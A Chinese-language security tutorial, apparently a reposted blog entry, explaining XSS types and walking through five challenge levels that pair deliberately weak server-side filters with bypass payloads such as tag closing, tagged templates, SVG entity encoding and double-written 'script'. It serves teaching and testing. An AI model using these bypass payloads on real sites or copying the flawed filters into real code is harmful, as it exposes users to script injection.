初探XSS

admin 2023年9月11日00:50:12评论20 views字数 2093阅读6分58秒阅读模式

XSS(跨站脚本)概述



    Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

        1.反射性XSS;

        2.存储型XSS;

        3.DOM型XSS;

    XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

    形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

    因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理。



XSS验证语句



常规验证语句:

<script>alert(1)<script>

利用src引入js脚本:

<script src="https://localhost/payload.js"></script>



关卡1



Server code1:

function render (input) {  return '<textarea>' + input + '</textarea>'}

概述:

    既然恶意的输入是一段脚本,那就将其变为普通文本,可使用textarea标签将输入转义为纯文本


绕过姿势1:闭合标签

    先闭合textarea标签,再构造xss语句

Payload:

</textarea><script>alert(1)<script>

初探XSS



关卡2



Server code2:

function render (input){  const stripBracketsRe = /[()]/g  input = input.replace(stripBracketsRe, '')  return input}

概述:

    既然脚本里面用到函数了,那函数后面总得有括号吧,那就过滤括号


绕过姿势1:使用模版字符串

    在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能

Payload:

<script>alert`1`</script>

初探XSS



关卡3



Server code3:

function render (input){  const stripBracketsRe = /[()`]/g  input = input.replace(stripBracketsRe, '')  return input}

概述:

    括号不给用,反单引号也过滤,这下子总可以了吧


绕过姿势3:使用<svg>标签

    在<svg>标签中,可以直接执行实体字符,所以将xss语句中的括号或者反单引号用实体字符编号替换即可

Payload1:

<svg><script>alert&#40;1&#41;</script>

Payload2:

<svg><script>alert&#96;1&#96;</script>

初探XSS



关卡4



Server code4:

function render (input{  input = input.replace(/script/ig, '')  input = input.toUpperCase()  return '<h1>' + input + '</h1>'}

概述:

    那直接把”script”这个关键字过滤了,这样就用不了<script>标签了吧


绕过姿势4:双写script

    服务器代码中只过滤一遍script,那双写script,如sscriptcript,过滤了中间的script,还剩外层的script

Payload:

<sscriptcript>alert(1)</sscriptcript>

初探XSS



关卡5



Server code5:

function render (input) {  const stripTagsRe = /</?[^>]+>/gi
input = input.replace(stripTagsRe, '') return `<article>${input}</article>`}

概述:

    既然恶意输入利用了标签,那<>肯定同时存在,只要检测到<>同时存在,就将其去掉


绕过姿势5:利用浏览器容错性

    这里可以通过浏览器的容错性,不要最后的>,来绕过这个过滤

Payload:

<svg/onload='alert(1)'

初探XSS



总结



    对于服务端如何防御xss,不会像上面所描述那样单一过滤掉某种标签或者符号,一般都是多种方法组合起来使用。但简而言之就是如何将用户的输入过滤掉恶意语句,和将输出转义为纯文本。

    而xss绕过的方法也很多,在代码审计中,需要关注服务端过滤和转义中的逻辑漏洞,从而构造xss语句。而在实际渗透测试中,我们面对的往往是一个黑盒,无法得知服务端是如何过滤和转义我们构造的xss语句,需要一次次地构造不同的xss语句来试探服务器的过滤机制,此时更加考验了测试者灵活的思维和坚韧的耐心。

    总而言之,无论是服务端的防御,还是渗透测试者的攻击方式,都需要不断地去探索和创新,才能推动技术不断地发展,提升总体技术人员的技术水平。


原文始发于微信公众号(SK安全实验室):初探XSS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月11日00:50:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   初探XSShttp://cn-sec.com/archives/1038839.html

发表评论

匿名网友 填写信息